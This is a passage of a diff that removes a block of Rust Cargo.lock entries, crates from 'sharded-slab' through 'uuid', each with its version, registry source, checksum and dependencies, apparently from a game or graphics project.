-]
-
-[[package]]
-name = "sharded-slab"
-version = "0.1.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6"
-dependencies = [
- "lazy_static",
-]
-
-[[package]]
-name = "shell-words"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "24188a676b6ae68c3b2cb3a01be17fbf7240ce009799bb56d5b1409051e78fde"
-
-[[package]]
-name = "shellexpand"
-version = "2.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7ccc8076840c4da029af4f87e4e8daeb0fca6b87bbb02e10cb60b791450e11e4"
-dependencies = [
- "dirs 4.0.0",
-]
-
-[[package]]
-name = "shellexpand"
-version = "3.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "da03fa3b94cc19e3ebfc88c4229c49d8f08cdbd1228870a45f0ffdf84988e14b"
-dependencies = [
- "dirs 5.0.1",
-]
-
-[[package]]
-name = "shlex"
-version = "1.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
-
-[[package]]
-name = "shred"
-version = "0.16.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "656294f5bdcf6d33f0cf89e88a72b58595e3fca0e77e4a4b9e9026179757fb1e"
-dependencies = [
- "ahash 0.8.11",
- "arrayvec",
- "atomic_refcell",
- "rayon",
- "shred-derive",
- "smallvec",
- "tynm",
-]
-
-[[package]]
-name = "shred-derive"
-version = "0.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "69760b786f8b40361c10663eb63c81fa7d828008527d26aa7595b99c53ab3a8d"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "shrev"
-version = "1.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a5ea33232fdcf1bf691ca33450e5a94dde13e1a8cbb8caabc5e4f9d761e10b1a"
-
-[[package]]
-name = "signal-hook"
-version = "0.3.17"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8621587d4798caf8eb44879d42e56b9a93ea5dcd315a6487c357130095b62801"
-dependencies = [
- "libc",
- "signal-hook-registry",
-]
-
-[[package]]
-name = "signal-hook-mio"
-version = "0.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "29ad2e15f37ec9a6cc544097b78a1ec90001e9f71b81338ca39f430adaca99af"
-dependencies = [
- "libc",
- "mio",
- "signal-hook",
-]
-
-[[package]]
-name = "signal-hook-registry"
-version = "1.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d8229b473baa5980ac72ef434c4415e70c4b5e71b423043adb4ba059f89c99a1"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "simd-adler32"
-version = "0.3.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d66dc143e6b11c1eddc06d5c423cfc97062865baf299914ab64caa38182078fe"
-
-[[package]]
-name = "siphasher"
-version = "0.3.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "38b58827f4464d87d377d175e90bf58eb00fd8716ff0a62f80356b5e61555d0d"
-
-[[package]]
-name = "siphasher"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "56199f7ddabf13fe5074ce809e7d3f42b42ae711800501b5b16ea82ad029c39d"
-
-[[package]]
-name = "slab"
-version = "0.4.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67"
-dependencies = [
- "autocfg",
-]
-
-[[package]]
-name = "slice-group-by"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "826167069c09b99d56f31e9ae5c99049e932a98c9dc2dac47645b08dbbf76ba7"
-
-[[package]]
-name = "slotmap"
-version = "1.0.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dbff4acf519f630b3a3ddcfaea6c06b42174d9a44bc70c620e9ed1649d58b82a"
-dependencies = [
- "serde",
- "version_check",
-]
-
-[[package]]
-name = "smallvec"
-version = "1.13.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e6ecd384b10a64542d77071bd64bd7b231f4ed5940fba55e98c3de13824cf3d7"
-
-[[package]]
-name = "smithay-client-toolkit"
-version = "0.16.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "870427e30b8f2cbe64bf43ec4b86e88fe39b0a84b3f15efd9c9c2d020bc86eb9"
-dependencies = [
- "bitflags 1.3.2",
- "calloop",
- "dlib",
- "lazy_static",
- "log",
- "memmap2 0.5.10",
- "nix 0.24.3",
- "pkg-config",
- "wayland-client",
- "wayland-cursor",
- "wayland-protocols",
-]
-
-[[package]]
-name = "smithay-clipboard"
-version = "0.6.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0a345c870a1fae0b1b779085e81b51e614767c239e93503588e54c5b17f4b0e8"
-dependencies = [
- "smithay-client-toolkit",
- "wayland-client",
-]
-
-[[package]]
-name = "socket2"
-version = "0.5.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "05ffd9c0a93b7543e062e759284fcf5f5e3b098501104bfbdde4d404db792871"
-dependencies = [
- "libc",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "specs"
-version = "0.20.0"
-source = "git+https://github.com/amethyst/specs.git?rev=4e2da1df29ee840baa9b936593c45592b7c9ae27#4e2da1df29ee840baa9b936593c45592b7c9ae27"
-dependencies = [
- "ahash 0.8.11",
- "crossbeam-queue",
- "hibitset",
- "log",
- "nougat",
- "rayon",
- "serde",
- "shred",
- "shrev",
- "specs-derive",
- "tuple_utils",
-]
-
-[[package]]
-name = "specs-derive"
-version = "0.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3e23e09360f3d2190fec4222cd9e19d3158d5da948c0d1ea362df617dd103511"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "spin"
-version = "0.5.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6e63cff320ae2c57904679ba7cb63280a3dc4613885beafb148ee7bf9aa9042d"
-
-[[package]]
-name = "spin"
-version = "0.9.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67"
-dependencies = [
- "lock_api",
-]
-
-[[package]]
-name = "spin_sleep"
-version = "1.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "368a978649eaf70006b082e79c832bd72556ac1393eaf564d686e919dca2347f"
-dependencies = [
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "spirv"
-version = "0.2.0+1.5.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "246bfa38fe3db3f1dfc8ca5a2cdeb7348c78be2112740cc0ec8ef18b6d94f830"
-dependencies = [
- "bitflags 1.3.2",
- "num-traits",
-]
-
-[[package]]
-name = "sptr"
-version = "0.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3b9b39299b249ad65f3b7e96443bad61c02ca5cd3589f46cb6d610a0fd6c0d6a"
-
-[[package]]
-name = "stability"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ebd1b177894da2a2d9120208c3386066af06a488255caabc5de8ddca22dbc3ce"
-dependencies = [
- "quote 1.0.35",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "stable_deref_trait"
-version = "1.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3"
-
-[[package]]
-name = "stacker"
-version = "0.1.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c886bd4480155fd3ef527d45e9ac8dd7118a898a46530b7b94c3e21866259fce"
-dependencies = [
- "cc",
- "cfg-if 1.0.0",
- "libc",
- "psm",
- "winapi",
-]
-
-[[package]]
-name = "static_assertions"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f"
-
-[[package]]
-name = "stb_truetype"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f77b6b07e862c66a9f3e62a07588fee67cd90a9135a2b942409f195507b4fb51"
-dependencies = [
- "byteorder",
-]
-
-[[package]]
-name = "stdweb"
-version = "0.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ef5430c8e36b713e13b48a9f709cc21e046723fe44ce34587b73a830203b533e"
-
-[[package]]
-name = "str-buf"
-version = "1.0.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9e08d8363704e6c71fc928674353e6b7c23dcea9d82d7012c8faf2a3a025f8d0"
-
-[[package]]
-name = "strict-num"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6637bab7722d379c8b41ba849228d680cc12d0a45ba1fa2b48f2a30577a06731"
-
-[[package]]
-name = "strsim"
-version = "0.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623"
-
-[[package]]
-name = "strsim"
-version = "0.11.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5ee073c9e4cd00e28217186dbe12796d692868f432bf2e97ee73bed0c56dfa01"
-
-[[package]]
-name = "strum"
-version = "0.24.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "063e6045c0e62079840579a7e47a355ae92f60eb74daaf156fb1e84ba164e63f"
-dependencies = [
- "strum_macros 0.24.3",
-]
-
-[[package]]
-name = "strum"
-version = "0.26.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5d8cec3501a5194c432b2b7976db6b7d10ec95c253208b45f83f7136aa985e29"
-dependencies = [
- "strum_macros 0.26.2",
-]
-
-[[package]]
-name = "strum_macros"
-version = "0.24.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1e385be0d24f186b4ce2f9982191e7101bb737312ad61c1f2f984f34bcf85d59"
-dependencies = [
- "heck 0.4.1",
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "rustversion",
- "syn 1.0.109",
-]
-
-[[package]]
-name = "strum_macros"
-version = "0.26.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c6cf59daf282c0a494ba14fd21610a0325f9f90ec9d1231dea26bcb1d696c946"
-dependencies = [
- "heck 0.4.1",
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "rustversion",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "sum_type"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "da5b4a0c9f3c7c8e891e445a7c776627e208e8bba23ab680798066dd283e6a15"
-
-[[package]]
-name = "svg_fmt"
-version = "0.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f83ba502a3265efb76efb89b0a2f7782ad6f2675015d4ce37e4b547dda42b499"
-
-[[package]]
-name = "syn"
-version = "0.15.44"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9ca4b3b69a77cbe1ffc9e198781b7acb0c7365a883670e8f1c1bc66fba79a5c5"
-dependencies = [
- "proc-macro2 0.4.30",
- "quote 0.6.13",
- "unicode-xid 0.1.0",
-]
-
-[[package]]
-name = "syn"
-version = "1.0.109"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "unicode-ident",
-]
-
-[[package]]
-name = "syn"
-version = "2.0.53"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7383cd0e49fff4b6b90ca5670bfd3e9d6a733b3f90c686605aa7eec8c4996032"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "unicode-ident",
-]
-
-[[package]]
-name = "sync_file"
-version = "0.2.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a49b72df45d9c2d5fbb13b02c97437a3175d8c9860297297597d3ed715e0f046"
-dependencies = [
- "wasi 0.11.0+wasi-snapshot-preview1",
-]
-
-[[package]]
-name = "sync_wrapper"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2047c6ded9c721764247e62cd3b03c09ffc529b2ba5b10ec482ae507a4a70160"
-
-[[package]]
-name = "system-interface"
-version = "0.26.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0682e006dd35771e392a6623ac180999a9a854b1d4a6c12fb2e804941c2b1f58"
-dependencies = [
- "bitflags 2.5.0",
- "cap-fs-ext",
- "cap-std",
- "fd-lock",
- "io-lifetimes",
- "rustix",
- "windows-sys 0.52.0",
- "winx",
-]
-
-[[package]]
-name = "tap"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "55937e1799185b12863d447f42597ed69d9928686b8d88a1df17376a097d8369"
-
-[[package]]
-name = "tar"
-version = "0.4.40"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b16afcea1f22891c49a00c751c7b63b2233284064f11a200fc624137c51e2ddb"
-dependencies = [
- "filetime",
- "libc",
- "xattr",
-]
-
-[[package]]
-name = "target-lexicon"
-version = "0.12.14"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e1fc403891a21bcfb7c37834ba66a547a8f402146eba7265b5a6d88059c9ff2f"
-
-[[package]]
-name = "tempfile"
-version = "3.10.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "85b77fafb263dd9d05cbeac119526425676db3784113aa9295c88498cbf8bff1"
-dependencies = [
- "cfg-if 1.0.0",
- "fastrand",
- "rustix",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "termcolor"
-version = "1.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "06794f8f6c5c898b3275aebefa6b8a1cb24cd2c6c79397ab15774837a0bc5755"
-dependencies = [
- "winapi-util",
-]
-
-[[package]]
-name = "thiserror"
-version = "1.0.58"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "03468839009160513471e86a034bb2c5c0e4baae3b43f79ffc55c4a5427b3297"
-dependencies = [
- "thiserror-impl",
-]
-
-[[package]]
-name = "thiserror-impl"
-version = "1.0.58"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c61f3ba182994efc43764a46c018c347bc492c79f024e705f46567b418f6d4f7"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "thread_local"
-version = "1.1.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8b9ef9bad013ada3808854ceac7b46812a6465ba368859a37e2100283d2d719c"
-dependencies = [
- "cfg-if 1.0.0",
- "once_cell",
-]
-
-[[package]]
-name = "time"
-version = "0.3.35"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ef89ece63debf11bc32d1ed8d078ac870cbeb44da02afb02a9ff135ae7ca0582"
-dependencies = [
- "deranged",
- "itoa",
- "num-conv",
- "powerfmt",
- "serde",
- "time-core",
- "time-macros",
-]
-
-[[package]]
-name = "time-core"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3"
-
-[[package]]
-name = "time-macros"
-version = "0.2.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3f252a68540fde3a3877aeea552b832b40ab9a69e318efd078774a01ddee1ccf"
-dependencies = [
- "num-conv",
- "time-core",
-]
-
-[[package]]
-name = "timer-queue"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "13756c29c43d836ff576221498bf4916b0d2f7ea24cd47d3531b70dc4341f038"
-dependencies = [
- "slab",
-]
-
-[[package]]
-name = "tiny-skia"
-version = "0.8.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "df8493a203431061e901613751931f047d1971337153f96d0e5e363d6dbf6a67"
-dependencies = [
- "arrayref",
- "arrayvec",
- "bytemuck",
- "cfg-if 1.0.0",
- "png",
- "tiny-skia-path",
-]
-
-[[package]]
-name = "tiny-skia-path"
-version = "0.8.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "adbfb5d3f3dd57a0e11d12f4f13d4ebbbc1b5c15b7ab0a156d030b21da5f677c"
-dependencies = [
- "arrayref",
- "bytemuck",
- "strict-num",
-]
-
-[[package]]
-name = "tinystr"
-version = "0.7.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "83c02bf3c538ab32ba913408224323915f4ef9a6d61c0e85d493f355921c0ece"
-dependencies = [
- "displaydoc",
-]
-
-[[package]]
-name = "tinytemplate"
-version = "1.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "be4d6b5f19ff7664e8c98d03e2139cb510db9b0a60b55f8e8709b689d939b6bc"
-dependencies = [
- "serde",
- "serde_json",
-]
-
-[[package]]
-name = "tinyvec"
-version = "1.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50"
-dependencies = [
- "tinyvec_macros",
-]
-
-[[package]]
-name = "tinyvec_macros"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20"
-
-[[package]]
-name = "tokio"
-version = "1.36.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "61285f6515fa018fb2d1e46eb21223fff441ee8db5d0f1435e8ab4f5cdb80931"
-dependencies = [
- "backtrace",
- "bytes",
- "libc",
- "mio",
- "num_cpus",
- "pin-project-lite",
- "signal-hook-registry",
- "socket2",
- "tokio-macros",
- "windows-sys 0.48.0",
-]
-
-[[package]]
-name = "tokio-macros"
-version = "2.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "tokio-rustls"
-version = "0.24.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c28327cf380ac148141087fbfb9de9d7bd4e84ab5d2c28fbc911d753de8a7081"
-dependencies = [
- "rustls",
- "tokio",
-]
-
-[[package]]
-name = "tokio-stream"
-version = "0.1.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "267ac89e0bec6e691e5813911606935d77c476ff49024f98abcea3e7b15e37af"
-dependencies = [
- "futures-core",
- "pin-project-lite",
- "tokio",
-]
-
-[[package]]
-name = "tokio-util"
-version = "0.7.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5419f34732d9eb6ee4c3578b7989078579b7f039cbbb9ca2c4da015749371e15"
-dependencies = [
- "bytes",
- "futures-core",
- "futures-sink",
- "pin-project-lite",
- "tokio",
- "tracing",
-]
-
-[[package]]
-name = "toml"
-version = "0.5.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f4f7f0dd8d50a853a531c426359045b1998f04219d88799810762cd4ad314234"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "toml"
-version = "0.8.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e9dd1545e8208b4a5af1aa9bbd0b4cf7e9ea08fabc5d0a5c67fcaafa17433aa3"
-dependencies = [
- "serde",
- "serde_spanned",
- "toml_datetime",
- "toml_edit 0.22.8",
-]
-
-[[package]]
-name = "toml_datetime"
-version = "0.6.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3550f4e9685620ac18a50ed434eb3aec30db8ba93b0287467bca5826ea25baf1"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "toml_edit"
-version = "0.19.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1b5bb770da30e5cbfde35a2d7b9b8a2c4b8ef89548a7a6aeab5c9a576e3e7421"
-dependencies = [
- "indexmap",
- "toml_datetime",
- "winnow 0.5.40",
-]
-
-[[package]]
-name = "toml_edit"
-version = "0.22.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c12219811e0c1ba077867254e5ad62ee2c9c190b0d957110750ac0cda1ae96cd"
-dependencies = [
- "indexmap",
- "serde",
- "serde_spanned",
- "toml_datetime",
- "winnow 0.6.5",
-]
-
-[[package]]
-name = "tower"
-version = "0.4.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b8fa9be0de6cf49e536ce1851f987bd21a43b771b09473c3549a6c853db37c1c"
-dependencies = [
- "futures-core",
- "futures-util",
- "pin-project",
- "pin-project-lite",
- "tokio",
- "tower-layer",
- "tower-service",
- "tracing",
-]
-
-[[package]]
-name = "tower-layer"
-version = "0.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c20c8dbed6283a09604c3e69b4b7eeb54e298b8a600d4d5ecb5ad39de609f1d0"
-
-[[package]]
-name = "tower-service"
-version = "0.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b6bc1c9ce2b5135ac7f93c72918fc37feb872bdc6a5533a8b85eb4b86bfdae52"
-
-[[package]]
-name = "tracing"
-version = "0.1.40"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef"
-dependencies = [
- "log",
- "pin-project-lite",
- "tracing-attributes",
- "tracing-core",
-]
-
-[[package]]
-name = "tracing-appender"
-version = "0.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3566e8ce28cc0a3fe42519fc80e6b4c943cc4c8cef275620eb8dac2d3d4e06cf"
-dependencies = [
- "crossbeam-channel",
- "thiserror",
- "time",
- "tracing-subscriber",
-]
-
-[[package]]
-name = "tracing-attributes"
-version = "0.1.27"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "tracing-core"
-version = "0.1.32"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54"
-dependencies = [
- "once_cell",
- "valuable",
-]
-
-[[package]]
-name = "tracing-log"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3"
-dependencies = [
- "log",
- "once_cell",
- "tracing-core",
-]
-
-[[package]]
-name = "tracing-subscriber"
-version = "0.3.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ad0f048c97dbd9faa9b7df56362b8ebcaa52adb06b498c050d2f4e32f90a7a8b"
-dependencies = [
- "matchers",
- "nu-ansi-term",
- "once_cell",
- "regex",
- "sharded-slab",
- "smallvec",
- "thread_local",
- "time",
- "tracing",
- "tracing-core",
- "tracing-log",
-]
-
-[[package]]
-name = "tracing-tracy"
-version = "0.10.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "55c48ef3e655220d4e43a6be44aa84f078c3004357251cab45f9cc15551a593e"
-dependencies = [
- "tracing-core",
- "tracing-subscriber",
- "tracy-client",
-]
-
-[[package]]
-name = "tracy-client"
-version = "0.15.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "434ecabbda9f67eeea1eab44d52f4a20538afa3e2c2770f2efc161142b25b608"
-dependencies = [
- "loom",
- "once_cell",
- "tracy-client-sys",
-]
-
-[[package]]
-name = "tracy-client-sys"
-version = "0.21.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2cb915ea3af048554640d76dd6f1492589a6401a41a30d789b983c1ec280455a"
-dependencies = [
- "cc",
-]
-
-[[package]]
-name = "treeculler"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "82449b48a3494420dd1b11081f198c542f795a036246da4a9c5845b7d7427226"
-dependencies = [
- "num-traits",
- "vek 0.14.1",
-]
-
-[[package]]
-name = "try-lock"
-version = "0.2.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b"
-
-[[package]]
-name = "ttf-parser"
-version = "0.20.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "17f77d76d837a7830fe1d4f12b7b4ba4192c1888001c7164257e4bc6d21d96b4"
-
-[[package]]
-name = "tuple_utils"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cffaaf9392ef73cd30828797152476aaa2fa37a17856934fa63d4843f34290e9"
-
-[[package]]
-name = "twox-hash"
-version = "1.6.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "97fee6b57c6a41524a810daee9286c02d7752c4253064d0b05472833a438f675"
-dependencies = [
- "cfg-if 1.0.0",
- "rand 0.8.5",
- "static_assertions",
-]
-
-[[package]]
-name = "tynm"
-version = "0.1.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bd30d05e69d1478e13fe3e7a853409cfec82cebc2cf9b8d613b3c6b0081781ed"
-dependencies = [
- "nom",
-]
-
-[[package]]
-name = "type-map"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "deb68604048ff8fa93347f02441e4487594adc20bb8a084f9e564d2b827a0a9f"
-dependencies = [
- "rustc-hash",
-]
-
-[[package]]
-name = "typenum"
-version = "1.17.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825"
-
-[[package]]
-name = "unic-langid"
-version = "0.9.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "238722e6d794ed130f91f4ea33e01fcff4f188d92337a21297892521c72df516"
-dependencies = [
- "unic-langid-impl",
-]
-
-[[package]]
-name = "unic-langid-impl"
-version = "0.9.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4bd55a2063fdea4ef1f8633243a7b0524cbeef1905ae04c31a1c9b9775c55bc6"
-dependencies = [
- "tinystr",
-]
-
-[[package]]
-name = "unicode-bidi"
-version = "0.3.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "08f95100a766bf4f8f28f90d77e0a5461bbdb219042e7679bebe79004fed8d75"
-
-[[package]]
-name = "unicode-ident"
-version = "1.0.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b"
-
-[[package]]
-name = "unicode-normalization"
-version = "0.1.23"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a56d1686db2308d901306f92a263857ef59ea39678a5458e7cb17f01415101f5"
-dependencies = [
- "tinyvec",
-]
-
-[[package]]
-name = "unicode-segmentation"
-version = "1.11.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d4c87d22b6e3f4a18d4d40ef354e97c90fcb14dd91d7dc0aa9d8a1172ebf7202"
-
-[[package]]
-name = "unicode-width"
-version = "0.1.11"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e51733f11c9c4f72aa0c160008246859e340b00807569a0da0e7a1079b27ba85"
-
-[[package]]
-name = "unicode-xid"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fc72304796d0818e357ead4e000d19c9c174ab23dc11093ac919054d20a6a7fc"
-
-[[package]]
-name = "unicode-xid"
-version = "0.2.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f962df74c8c05a667b5ee8bcf162993134c104e96440b663c8daa176dc772d8c"
-
-[[package]]
-name = "untrusted"
-version = "0.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a156c684c91ea7d62626509bce3cb4e1d9ed5c4d978f7b4352658f96a4c26b4a"
-
-[[package]]
-name = "untrusted"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1"
-
-[[package]]
-name = "url"
-version = "2.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "31e6302e3bb753d46e83516cae55ae196fc0c309407cf11ab35cc51a4c2a4633"
-dependencies = [
- "form_urlencoded",
- "idna 0.5.0",
- "percent-encoding",
-]
-
-[[package]]
-name = "utf8parse"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a"
-
-[[package]]
-name = "uuid"
-version = "1.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
